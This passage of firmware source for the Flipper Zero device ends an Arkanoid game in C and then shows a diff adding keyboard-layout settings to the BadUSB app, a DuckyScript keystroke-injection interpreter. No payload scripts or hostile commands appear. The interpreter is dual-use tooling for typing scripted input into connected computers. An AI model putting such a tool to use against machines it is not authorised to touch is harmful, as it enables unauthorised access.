||||
//Only bounce once each ball move
|
||||
if(!st->bounced) {
|
||||
st->ball_state.dy = -st->ball_state.dy;
|
||||
st->ball_state.yb += st->ball_state.dy;
|
||||
st->bounced = true;
|
||||
}
|
||||
}
|
||||
|
||||
//Hoizontal collision
|
||||
if(st->ball_state.leftBall < st->brick_state.leftBrick ||
|
||||
st->ball_state.rightBall > st->brick_state.rightBrick) {
|
||||
//Only bounce once brick each ball move
|
||||
if(!st->bounced) {
|
||||
st->ball_state.dx = -st->ball_state.dx;
|
||||
st->ball_state.xb += st->ball_state.dx;
|
||||
st->bounced = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//Reset Bounce
|
||||
st->bounced = false;
|
||||
} else {
|
||||
//Ball follows paddle
|
||||
st->ball_state.xb = st->xPaddle + 5;
|
||||
}
|
||||
}
|
||||
|
||||
void draw_lives(Canvas* canvas, ArkanoidState* arkanoid_state) {
|
||||
if(arkanoid_state->lives == 3) {
|
||||
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 7);
|
||||
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 7);
|
||||
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 8);
|
||||
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 8);
|
||||
|
||||
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 11);
|
||||
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 11);
|
||||
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 12);
|
||||
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 12);
|
||||
|
||||
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 15);
|
||||
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 15);
|
||||
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 16);
|
||||
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 16);
|
||||
} else if(arkanoid_state->lives == 2) {
|
||||
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 7);
|
||||
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 7);
|
||||
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 8);
|
||||
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 8);
|
||||
|
||||
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 11);
|
||||
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 11);
|
||||
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 12);
|
||||
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 12);
|
||||
} else {
|
||||
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 7);
|
||||
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 7);
|
||||
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 8);
|
||||
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 8);
|
||||
}
|
||||
}
|
||||
|
||||
void draw_score(Canvas* canvas, ArkanoidState* arkanoid_state) {
|
||||
snprintf(arkanoid_state->text, sizeof(arkanoid_state->text), "%u", arkanoid_state->score);
|
||||
canvas_draw_str_aligned(
|
||||
canvas,
|
||||
FLIPPER_LCD_WIDTH - 2,
|
||||
FLIPPER_LCD_HEIGHT - 6,
|
||||
AlignRight,
|
||||
AlignBottom,
|
||||
arkanoid_state->text);
|
||||
}
|
||||
|
||||
void draw_ball(Canvas* canvas, ArkanoidState* ast) {
|
||||
canvas_draw_dot(canvas, ast->ball_state.xb, ast->ball_state.yb);
|
||||
canvas_draw_dot(canvas, ast->ball_state.xb + 1, ast->ball_state.yb);
|
||||
canvas_draw_dot(canvas, ast->ball_state.xb, ast->ball_state.yb + 1);
|
||||
canvas_draw_dot(canvas, ast->ball_state.xb + 1, ast->ball_state.yb + 1);
|
||||
|
||||
move_ball(canvas, ast);
|
||||
}
|
||||
|
||||
void draw_paddle(Canvas* canvas, ArkanoidState* arkanoid_state) {
|
||||
canvas_draw_frame(canvas, arkanoid_state->xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1);
|
||||
}
|
||||
|
||||
void reset_level(Canvas* canvas, ArkanoidState* arkanoid_state) {
|
||||
//Undraw paddle
|
||||
canvas_draw_frame(canvas, arkanoid_state->xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1);
|
||||
|
||||
//Undraw ball
|
||||
canvas_draw_dot(canvas, arkanoid_state->ball_state.xb, arkanoid_state->ball_state.yb);
|
||||
canvas_draw_dot(canvas, arkanoid_state->ball_state.xb + 1, arkanoid_state->ball_state.yb);
|
||||
canvas_draw_dot(canvas, arkanoid_state->ball_state.xb, arkanoid_state->ball_state.yb + 1);
|
||||
canvas_draw_dot(canvas, arkanoid_state->ball_state.xb + 1, arkanoid_state->ball_state.yb + 1);
|
||||
|
||||
//Alter various variables to reset the game
|
||||
arkanoid_state->xPaddle = 54;
|
||||
arkanoid_state->ball_state.yb = 60;
|
||||
arkanoid_state->brickCount = 0;
|
||||
arkanoid_state->ball_state.released = false;
|
||||
|
||||
// Reset all brick hit states
|
||||
for(unsigned int row = 0; row < arkanoid_state->ROWS; row++) {
|
||||
for(unsigned int column = 0; column < arkanoid_state->COLUMNS; column++) {
|
||||
arkanoid_state->brick_state.isHit[row][column] = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void arkanoid_state_init(ArkanoidState* arkanoid_state) {
|
||||
// Init notification
|
||||
arkanoid_state->notify = furi_record_open(RECORD_NOTIFICATION);
|
||||
|
||||
// Set the initial game state
|
||||
arkanoid_state->COLUMNS = 13;
|
||||
arkanoid_state->ROWS = 4;
|
||||
arkanoid_state->ball_state.dx = -1;
|
||||
arkanoid_state->ball_state.dy = -1;
|
||||
arkanoid_state->bounced = false;
|
||||
arkanoid_state->lives = 3;
|
||||
arkanoid_state->level = 1;
|
||||
arkanoid_state->score = 0;
|
||||
arkanoid_state->COLUMNS = 13;
|
||||
arkanoid_state->COLUMNS = 13;
|
||||
|
||||
// Reset initial state
|
||||
arkanoid_state->initialDraw = false;
|
||||
}
|
||||
|
||||
static void arkanoid_draw_callback(Canvas* const canvas, void* ctx) {
|
||||
ArkanoidState* arkanoid_state = acquire_mutex((ValueMutex*)ctx, 25);
|
||||
if(arkanoid_state == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
//Initial level draw
|
||||
if(!arkanoid_state->initialDraw) {
|
||||
arkanoid_state->initialDraw = true;
|
||||
|
||||
// Set default font for text
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
|
||||
//Draws the new level
|
||||
reset_level(canvas, arkanoid_state);
|
||||
}
|
||||
|
||||
//Draws new bricks and resets their values
|
||||
for(unsigned int row = 0; row < arkanoid_state->ROWS; row++) {
|
||||
for(unsigned int column = 0; column < arkanoid_state->COLUMNS; column++) {
|
||||
if(!arkanoid_state->brick_state.isHit[row][column]) {
|
||||
canvas_draw_frame(canvas, 10 * column, 2 + 6 * row, 8, 4);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(arkanoid_state->lives > 0) {
|
||||
draw_paddle(canvas, arkanoid_state);
|
||||
draw_ball(canvas, arkanoid_state);
|
||||
draw_score(canvas, arkanoid_state);
|
||||
draw_lives(canvas, arkanoid_state);
|
||||
|
||||
if(arkanoid_state->brickCount == arkanoid_state->ROWS * arkanoid_state->COLUMNS) {
|
||||
arkanoid_state->level++;
|
||||
reset_level(canvas, arkanoid_state);
|
||||
}
|
||||
} else {
|
||||
reset_level(canvas, arkanoid_state);
|
||||
arkanoid_state->initialDraw = false;
|
||||
arkanoid_state->lives = 3;
|
||||
arkanoid_state->score = 0;
|
||||
}
|
||||
|
||||
release_mutex((ValueMutex*)ctx, arkanoid_state);
|
||||
}
|
||||
|
||||
static void arkanoid_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
|
||||
furi_assert(event_queue);
|
||||
|
||||
GameEvent event = {.type = EventTypeKey, .input = *input_event};
|
||||
furi_message_queue_put(event_queue, &event, FuriWaitForever);
|
||||
}
|
||||
|
||||
static void arkanoid_update_timer_callback(FuriMessageQueue* event_queue) {
|
||||
furi_assert(event_queue);
|
||||
|
||||
GameEvent event = {.type = EventTypeTick};
|
||||
furi_message_queue_put(event_queue, &event, 0);
|
||||
}
|
||||
|
||||
int32_t arkanoid_game_app(void* p) {
|
||||
UNUSED(p);
|
||||
int32_t return_code = 0;
|
||||
// Set random seed from interrupts
|
||||
srand(DWT->CYCCNT);
|
||||
|
||||
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(GameEvent));
|
||||
|
||||
ArkanoidState* arkanoid_state = malloc(sizeof(ArkanoidState));
|
||||
arkanoid_state_init(arkanoid_state);
|
||||
|
||||
ValueMutex state_mutex;
|
||||
if(!init_mutex(&state_mutex, arkanoid_state, sizeof(ArkanoidState))) {
|
||||
FURI_LOG_E(TAG, "Cannot create mutex\r\n");
|
||||
return_code = 255;
|
||||
goto free_and_exit;
|
||||
}
|
||||
|
||||
// Set system callbacks
|
||||
ViewPort* view_port = view_port_alloc();
|
||||
view_port_draw_callback_set(view_port, arkanoid_draw_callback, &state_mutex);
|
||||
view_port_input_callback_set(view_port, arkanoid_input_callback, event_queue);
|
||||
|
||||
FuriTimer* timer =
|
||||
furi_timer_alloc(arkanoid_update_timer_callback, FuriTimerTypePeriodic, event_queue);
|
||||
furi_timer_start(timer, furi_kernel_get_tick_frequency() / 22);
|
||||
|
||||
// Open GUI and register view_port
|
||||
Gui* gui = furi_record_open(RECORD_GUI);
|
||||
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
||||
|
||||
GameEvent event;
|
||||
for(bool processing = true; processing;) {
|
||||
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
|
||||
ArkanoidState* arkanoid_state = (ArkanoidState*)acquire_mutex_block(&state_mutex);
|
||||
|
||||
if(event_status == FuriStatusOk) {
|
||||
// Key events
|
||||
if(event.type == EventTypeKey) {
|
||||
if(event.input.type == InputTypePress || event.input.type == InputTypeLong ||
|
||||
event.input.type == InputTypeRepeat) {
|
||||
switch(event.input.key) {
|
||||
case InputKeyBack:
|
||||
processing = false;
|
||||
break;
|
||||
case InputKeyRight:
|
||||
if(arkanoid_state->xPaddle < FLIPPER_LCD_WIDTH - 12) {
|
||||
arkanoid_state->xPaddle += 8;
|
||||
}
|
||||
break;
|
||||
case InputKeyLeft:
|
||||
if(arkanoid_state->xPaddle > 0) {
|
||||
arkanoid_state->xPaddle -= 8;
|
||||
}
|
||||
break;
|
||||
case InputKeyUp:
|
||||
break;
|
||||
case InputKeyDown:
|
||||
break;
|
||||
case InputKeyOk:
|
||||
//Release ball if FIRE pressed
|
||||
arkanoid_state->ball_state.released = true;
|
||||
|
||||
//Apply random direction to ball on release
|
||||
if(rand_range(0, 2) == 0) {
|
||||
arkanoid_state->ball_state.dx = 1;
|
||||
} else {
|
||||
arkanoid_state->ball_state.dx = -1;
|
||||
}
|
||||
|
||||
//Makes sure the ball heads upwards
|
||||
arkanoid_state->ball_state.dy = -1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Event timeout
|
||||
FURI_LOG_D(TAG, "furi_message_queue: Event timeout");
|
||||
}
|
||||
|
||||
view_port_update(view_port);
|
||||
release_mutex(&state_mutex, arkanoid_state);
|
||||
}
|
||||
furi_timer_free(timer);
|
||||
view_port_enabled_set(view_port, false);
|
||||
gui_remove_view_port(gui, view_port);
|
||||
furi_record_close(RECORD_GUI);
|
||||
furi_record_close(RECORD_NOTIFICATION);
|
||||
view_port_free(view_port);
|
||||
delete_mutex(&state_mutex);
|
||||
|
||||
free_and_exit:
|
||||
free(arkanoid_state);
|
||||
furi_message_queue_free(event_queue);
|
||||
|
||||
return return_code;
|
||||
}
|
|
@ -1,10 +1,13 @@
|
|||
#include "bad_usb_app_i.h"
|
||||
#include "bad_usb_settings_filename.h"
|
||||
#include "m-string.h"
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <storage/storage.h>
|
||||
#include <lib/toolbox/path.h>
|
||||
|
||||
#define BAD_USB_SETTINGS_PATH BAD_USB_APP_BASE_FOLDER "/" BAD_USB_SETTINGS_FILE_NAME
|
||||
|
||||
static bool bad_usb_app_custom_event_callback(void* context, uint32_t event) {
|
||||
furi_assert(context);
|
||||
BadUsbApp* app = context;
|
||||
|
@ -23,15 +26,45 @@ static void bad_usb_app_tick_event_callback(void* context) {
|
|||
scene_manager_handle_tick_event(app->scene_manager);
|
||||
}
|
||||
|
||||
static void bad_usb_load_settings(BadUsbApp* app) {
|
||||
File* settings_file = storage_file_alloc(furi_record_open(RECORD_STORAGE));
|
||||
if(storage_file_open(settings_file, BAD_USB_SETTINGS_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) {
|
||||
char chr;
|
||||
while((storage_file_read(settings_file, &chr, 1) == 1) &&
|
||||
!storage_file_eof(settings_file) && !isspace(chr)) {
|
||||
string_push_back(app->keyboard_layout, chr);
|
||||
}
|
||||
}
|
||||
storage_file_close(settings_file);
|
||||
storage_file_free(settings_file);
|
||||
}
|
||||
|
||||
static void bad_usb_save_settings(BadUsbApp* app) {
|
||||
File* settings_file = storage_file_alloc(furi_record_open(RECORD_STORAGE));
|
||||
if(storage_file_open(settings_file, BAD_USB_SETTINGS_PATH, FSAM_WRITE, FSOM_OPEN_ALWAYS)) {
|
||||
storage_file_write(
|
||||
settings_file,
|
||||
string_get_cstr(app->keyboard_layout),
|
||||
string_size(app->keyboard_layout));
|
||||
storage_file_write(settings_file, "\n", 1);
|
||||
}
|
||||
storage_file_close(settings_file);
|
||||
storage_file_free(settings_file);
|
||||
}
|
||||
|
||||
BadUsbApp* bad_usb_app_alloc(char* arg) {
|
||||
BadUsbApp* app = malloc(sizeof(BadUsbApp));
|
||||
|
||||
string_init(app->file_path);
|
||||
app->bad_usb_script = NULL;
|
||||
|
||||
string_init(app->file_path);
|
||||
string_init(app->keyboard_layout);
|
||||
if(arg && strlen(arg)) {
|
||||
string_set_str(app->file_path, arg);
|
||||
}
|
||||
|
||||
bad_usb_load_settings(app);
|
||||
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
app->notifications = furi_record_open(RECORD_NOTIFICATION);
|
||||
app->dialogs = furi_record_open(RECORD_DIALOGS);
|
||||
|
@ -54,6 +87,10 @@ BadUsbApp* bad_usb_app_alloc(char* arg) {
|
|||
view_dispatcher_add_view(
|
||||
app->view_dispatcher, BadUsbAppViewError, widget_get_view(app->widget));
|
||||
|
||||
app->submenu = submenu_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher, BadUsbAppViewConfig, submenu_get_view(app->submenu));
|
||||
|
||||
app->bad_usb_view = bad_usb_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher, BadUsbAppViewWork, bad_usb_get_view(app->bad_usb_view));
|
||||
|
@ -65,9 +102,9 @@ BadUsbApp* bad_usb_app_alloc(char* arg) {
|
|||
scene_manager_next_scene(app->scene_manager, BadUsbSceneError);
|
||||
} else {
|
||||
if(!string_empty_p(app->file_path)) {
|
||||
scene_manager_next_scene(app->scene_manager, BadUsbSceneWork);
|
||||
scene_manager_next_scene(app->scene_manager, BadUsbScenePWork);
|
||||
} else {
|
||||
string_set_str(app->file_path, BAD_USB_APP_PATH_FOLDER);
|
||||
string_set_str(app->file_path, BAD_USB_APP_BASE_FOLDER);
|
||||
scene_manager_next_scene(app->scene_manager, BadUsbSceneFileSelect);
|
||||
}
|
||||
}
|
||||
|
@ -78,14 +115,24 @@ BadUsbApp* bad_usb_app_alloc(char* arg) {
|
|||
void bad_usb_app_free(BadUsbApp* app) {
|
||||
furi_assert(app);
|
||||
|
||||
if(app->bad_usb_script) {
|
||||
bad_usb_script_close(app->bad_usb_script);
|
||||
app->bad_usb_script = NULL;
|
||||
}
|
||||
|
||||
// Views
|
||||
view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewWork);
|
||||
|
||||
bad_usb_free(app->bad_usb_view);
|
||||
|
||||
// Custom Widget
|
||||
view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewError);
|
||||
widget_free(app->widget);
|
||||
|
||||
// Submenu
|
||||
view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewConfig);
|
||||
submenu_free(app->submenu);
|
||||
|
||||
// View dispatcher
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
scene_manager_free(app->scene_manager);
|
||||
|
@ -95,7 +142,10 @@ void bad_usb_app_free(BadUsbApp* app) {
|
|||
furi_record_close(RECORD_NOTIFICATION);
|
||||
furi_record_close(RECORD_DIALOGS);
|
||||
|
||||
bad_usb_save_settings(app);
|
||||
|
||||
string_clear(app->file_path);
|
||||
string_clear(app->keyboard_layout);
|
||||
|
||||
free(app);
|
||||
}
|
||||
|
|
|
@ -14,8 +14,10 @@
|
|||
#include <gui/modules/widget.h>
|
||||
#include "views/bad_usb_view.h"
|
||||
|
||||
#define BAD_USB_APP_PATH_FOLDER ANY_PATH("badusb")
|
||||
#define BAD_USB_APP_EXTENSION ".txt"
|
||||
#define BAD_USB_APP_BASE_FOLDER ANY_PATH("badusb")
|
||||
#define BAD_USB_APP_PATH_LAYOUT_FOLDER BAD_USB_APP_BASE_FOLDER "/layouts"
|
||||
#define BAD_USB_APP_SCRIPT_EXTENSION ".txt"
|
||||
#define BAD_USB_APP_LAYOUT_EXTENSION ".kl"
|
||||
|
||||
typedef enum {
|
||||
BadUsbAppErrorNoFiles,
|
||||
|
@ -29,9 +31,11 @@ struct BadUsbApp {
|
|||
NotificationApp* notifications;
|
||||
DialogsApp* dialogs;
|
||||
Widget* widget;
|
||||
Submenu* submenu;
|
||||
|
||||
BadUsbAppError error;
|
||||
string_t file_path;
|
||||
string_t keyboard_layout;
|
||||
BadUsb* bad_usb_view;
|
||||
BadUsbScript* bad_usb_script;
|
||||
};
|
||||
|
@ -39,4 +43,5 @@ struct BadUsbApp {
|
|||
typedef enum {
|
||||
BadUsbAppViewError,
|
||||
BadUsbAppViewWork,
|
||||
BadUsbAppViewConfig,
|
||||
} BadUsbAppView;
|
|
@ -16,6 +16,9 @@
|
|||
#define SCRIPT_STATE_END (-2)
|
||||
#define SCRIPT_STATE_NEXT_LINE (-3)
|
||||
|
||||
#define BADUSB_ASCII_TO_KEY(script, x) \
|
||||
(((uint8_t)x < 128) ? (script->layout[(uint8_t)x]) : HID_KEYBOARD_NONE)
|
||||
|
||||
typedef enum {
|
||||
WorkerEvtToggle = (1 << 0),
|
||||
WorkerEvtEnd = (1 << 1),
|
||||
|
@ -28,6 +31,7 @@ struct BadUsbScript {
|
|||
BadUsbState st;
|
||||
string_t file_path;
|
||||
uint32_t defdelay;
|
||||
uint16_t layout[128];
|
||||
FuriThread* thread;
|
||||
uint8_t file_buf[FILE_BUFFER_LEN + 1];
|
||||
uint8_t buf_start;
|
||||
|
@ -114,6 +118,8 @@ static const char ducky_cmd_altchar[] = {"ALTCHAR "};
|
|||
static const char ducky_cmd_altstr_1[] = {"ALTSTRING "};
|
||||
static const char ducky_cmd_altstr_2[] = {"ALTCODE "};
|
||||
|
||||
static const char ducky_cmd_lang[] = {"DUCKY_LANG"};
|
||||
|
||||
static const uint8_t numpad_keys[10] = {
|
||||
HID_KEYPAD_0,
|
||||
HID_KEYPAD_1,
|
||||
|
@ -203,10 +209,10 @@ static bool ducky_altstring(const char* param) {
|
|||
return state;
|
||||
}
|
||||
|
||||
static bool ducky_string(const char* param) {
|
||||
static bool ducky_string(BadUsbScript* bad_usb, const char* param) {
|
||||
uint32_t i = 0;
|
||||
while(param[i] != '\0') {
|
||||
uint16_t keycode = HID_ASCII_TO_KEY(param[i]);
|
||||
uint16_t keycode = BADUSB_ASCII_TO_KEY(bad_usb, param[i]);
|
||||
if(keycode != HID_KEYBOARD_NONE) {
|
||||
furi_hal_hid_kb_press(keycode);
|
||||
furi_hal_hid_kb_release(keycode);
|
||||
|
@ -216,7 +222,7 @@ static bool ducky_string(const char* param) {
|
|||
return true;
|
||||
}
|
||||
|
||||
static uint16_t ducky_get_keycode(const char* param, bool accept_chars) {
|
||||
static uint16_t ducky_get_keycode(BadUsbScript* bad_usb, const char* param, bool accept_chars) {
|
||||
for(uint8_t i = 0; i < (sizeof(ducky_keys) / sizeof(ducky_keys[0])); i++) {
|
||||
uint8_t key_cmd_len = strlen(ducky_keys[i].name);
|
||||
if((strncmp(param, ducky_keys[i].name, key_cmd_len) == 0) &&
|
||||
|
@ -225,7 +231,7 @@ static uint16_t ducky_get_keycode(const char* param, bool accept_chars) {
|
|||
}
|
||||
}
|
||||
if((accept_chars) && (strlen(param) > 0)) {
|
||||
return (HID_ASCII_TO_KEY(param[0]) & 0xFF);
|
||||
return (BADUSB_ASCII_TO_KEY(bad_usb, param[0]) & 0xFF);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
@ -252,6 +258,9 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) {
|
|||
} else if(strncmp(line_tmp, ducky_cmd_id, strlen(ducky_cmd_id)) == 0) {
|
||||
// ID - executed in ducky_script_preload
|
||||
return (0);
|
||||
} else if(strncmp(line_tmp, ducky_cmd_lang, strlen(ducky_cmd_lang)) == 0) {
|
||||
// DUCKY_LANG - ignore command to retain compatibility with existing scripts
|
||||
return (0);
|
||||
} else if(strncmp(line_tmp, ducky_cmd_delay, strlen(ducky_cmd_delay)) == 0) {
|
||||
// DELAY
|
||||
line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1];
|
||||
|
@ -271,7 +280,7 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) {
|
|||
} else if(strncmp(line_tmp, ducky_cmd_string, strlen(ducky_cmd_string)) == 0) {
|
||||
// STRING
|
||||
line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1];
|
||||
state = ducky_string(line_tmp);
|
||||
state = ducky_string(bad_usb, line_tmp);
|
||||
return (state) ? (0) : SCRIPT_STATE_ERROR;
|
||||
} else if(strncmp(line_tmp, ducky_cmd_altchar, strlen(ducky_cmd_altchar)) == 0) {
|
||||
// ALTCHAR
|
||||
|
@ -294,12 +303,12 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) {
|
|||
return (state) ? (0) : SCRIPT_STATE_ERROR;
|
||||
} else {
|
||||
// Special keys + modifiers
|
||||
uint16_t key = ducky_get_keycode(line_tmp, false);
|
||||
uint16_t key = ducky_get_keycode(bad_usb, line_tmp, false);
|
||||
if(key == HID_KEYBOARD_NONE) return SCRIPT_STATE_ERROR;
|
||||
if((key & 0xFF00) != 0) {
|
||||
// It's a modifier key
|
||||
line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1];
|
||||
key |= ducky_get_keycode(line_tmp, true);
|
||||
key |= ducky_get_keycode(bad_usb, line_tmp, true);
|
||||
}
|
||||
furi_hal_hid_kb_press(key);
|
||||
furi_hal_hid_kb_release(key);
|
||||
|
@ -585,12 +594,19 @@ static int32_t bad_usb_worker(void* context) {
|
|||
return 0;
|
||||
}
|
||||
|
||||
static void bad_usb_script_set_default_keyboard_layout(BadUsbScript* bad_usb) {
|
||||
furi_assert(bad_usb);
|
||||
memset(bad_usb->layout, HID_KEYBOARD_NONE, sizeof(bad_usb->layout));
|
||||
memcpy(bad_usb->layout, hid_asciimap, MIN(sizeof(hid_asciimap), sizeof(bad_usb->layout)));
|
||||
}
|
||||
|
||||
BadUsbScript* bad_usb_script_open(string_t file_path) {
|
||||
furi_assert(file_path);
|
||||
|
||||
BadUsbScript* bad_usb = malloc(sizeof(BadUsbScript));
|
||||
string_init(bad_usb->file_path);
|
||||
string_set(bad_usb->file_path, file_path);
|
||||
bad_usb_script_set_default_keyboard_layout(bad_usb);
|
||||
|
||||
bad_usb->st.state = BadUsbStateInit;
|
||||
|
||||
|
@ -613,6 +629,30 @@ void bad_usb_script_close(BadUsbScript* bad_usb) {
|
|||
free(bad_usb);
|
||||
}
|
||||
|
||||
void bad_usb_script_set_keyboard_layout(BadUsbScript* bad_usb, string_t layout_path) {
|
||||
furi_assert(bad_usb);
|
||||
|
||||
if((bad_usb->st.state == BadUsbStateRunning) || (bad_usb->st.state == BadUsbStateDelay)) {
|
||||
// do not update keyboard layout while a script is running
|
||||
return;
|
||||
}
|
||||
|
||||
File* layout_file = storage_file_alloc(furi_record_open(RECORD_STORAGE));
|
||||
if(!string_empty_p(layout_path)) {
|
||||
if(storage_file_open(
|
||||
layout_file, string_get_cstr(layout_path), FSAM_READ, FSOM_OPEN_EXISTING)) {
|
||||
uint16_t layout[128];
|
||||
if(storage_file_read(layout_file, layout, sizeof(layout)) == sizeof(layout)) {
|
||||
memcpy(bad_usb->layout, layout, sizeof(layout));
|
||||
}
|
||||
}
|
||||
storage_file_close(layout_file);
|
||||
} else {
|
||||
bad_usb_script_set_default_keyboard_layout(bad_usb);
|
||||
}
|
||||
storage_file_free(layout_file);
|
||||
}
|
||||
|
||||
void bad_usb_script_toggle(BadUsbScript* bad_usb) {
|
||||
furi_assert(bad_usb);
|
||||
furi_thread_flags_set(furi_thread_get_id(bad_usb->thread), WorkerEvtToggle);
|
||||
|
@ -622,3 +662,7 @@ BadUsbState* bad_usb_script_get_state(BadUsbScript* bad_usb) {
|
|||
furi_assert(bad_usb);
|
||||
return &(bad_usb->st);
|
||||
}
|
||||
|
||||
void bad_usb_script_set_run_state(BadUsbState* st, bool run) {
|
||||
st->run_from_p = run;
|
||||
}
|
|
@ -22,6 +22,7 @@ typedef enum {
|
|||
|
||||
typedef struct {
|
||||
BadUsbWorkerState state;
|
||||
bool run_from_p;
|
||||
uint16_t line_cur;
|
||||
uint16_t line_nb;
|
||||
uint32_t delay_remain;
|
||||
|
@ -32,6 +33,8 @@ BadUsbScript* bad_usb_script_open(string_t file_path);
|
|||
|
||||
void bad_usb_script_close(BadUsbScript* bad_usb);
|
||||
|
||||
void bad_usb_script_set_keyboard_layout(BadUsbScript* bad_usb, string_t layout_path);
|
||||
|
||||
void bad_usb_script_start(BadUsbScript* bad_usb);
|
||||
|
||||
void bad_usb_script_stop(BadUsbScript* bad_usb);
|
||||
|
@ -40,6 +43,8 @@ void bad_usb_script_toggle(BadUsbScript* bad_usb);
|
|||
|
||||
BadUsbState* bad_usb_script_get_state(BadUsbScript* bad_usb);
|
||||
|
||||
void bad_usb_script_set_run_state(BadUsbState* st, bool run);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
3
applications/bad_usb/bad_usb_settings_filename.h
Normal file
3
applications/bad_usb/bad_usb_settings_filename.h
Normal file
|
@ -0,0 +1,3 @@
|
|||
#pragma once
|
||||
|
||||
#define BAD_USB_SETTINGS_FILE_NAME ".badusb.settings"
|
53
applications/bad_usb/scenes/bad_usb_scene_config.c
Normal file
53
applications/bad_usb/scenes/bad_usb_scene_config.c
Normal file
|
@ -0,0 +1,53 @@
|
|||
#include "../bad_usb_app_i.h"
|
||||
#include "furi_hal_power.h"
|
||||
#include "furi_hal_usb.h"
|
||||
|
||||
enum SubmenuIndex {
|
||||
SubmenuIndexKeyboardLayout,
|
||||
};
|
||||
|
||||
void bad_usb_scene_config_submenu_callback(void* context, uint32_t index) {
|
||||
BadUsbApp* bad_usb = context;
|
||||
view_dispatcher_send_custom_event(bad_usb->view_dispatcher, index);
|
||||
}
|
||||
|
||||
void bad_usb_scene_config_on_enter(void* context) {
|
||||
BadUsbApp* bad_usb = context;
|
||||
Submenu* submenu = bad_usb->submenu;
|
||||
|
||||
submenu_add_item(
|
||||
submenu,
|
||||
"Keyboard layout",
|
||||
SubmenuIndexKeyboardLayout,
|
||||
bad_usb_scene_config_submenu_callback,
|
||||
bad_usb);
|
||||
|
||||
submenu_set_selected_item(
|
||||
submenu, scene_manager_get_scene_state(bad_usb->scene_manager, BadUsbSceneConfig));
|
||||
|
||||
view_dispatcher_switch_to_view(bad_usb->view_dispatcher, BadUsbAppViewConfig);
|
||||
}
|
||||
|
||||
bool bad_usb_scene_config_on_event(void* context, SceneManagerEvent event) {
|
||||
BadUsbApp* bad_usb = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
scene_manager_set_scene_state(bad_usb->scene_manager, BadUsbSceneConfig, event.event);
|
||||
consumed = true;
|
||||
if(event.event == SubmenuIndexKeyboardLayout) {
|
||||
scene_manager_next_scene(bad_usb->scene_manager, BadUsbSceneConfigLayout);
|
||||
} else {
|
||||
furi_crash("Unknown key type");
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void bad_usb_scene_config_on_exit(void* context) {
|
||||
BadUsbApp* bad_usb = context;
|
||||
Submenu* submenu = bad_usb->submenu;
|
||||
|
||||
submenu_reset(submenu);
|
||||
}
|
|
@ -1,3 +1,6 @@
|
|||
ADD_SCENE(bad_usb, file_select, FileSelect)
|
||||
ADD_SCENE(bad_usb, work, Work)
|
||||
ADD_SCENE(bad_usb, pwork, PWork)
|
||||
ADD_SCENE(bad_usb, error, Error)
|
||||
ADD_SCENE(bad_usb, config, Config)
|
||||
ADD_SCENE(bad_usb, config_layout, ConfigLayout)
|
||||
|
|
50
applications/bad_usb/scenes/bad_usb_scene_config_layout.c
Normal file
50
applications/bad_usb/scenes/bad_usb_scene_config_layout.c
Normal file
|
@ -0,0 +1,50 @@
|
|||
#include "../bad_usb_app_i.h"
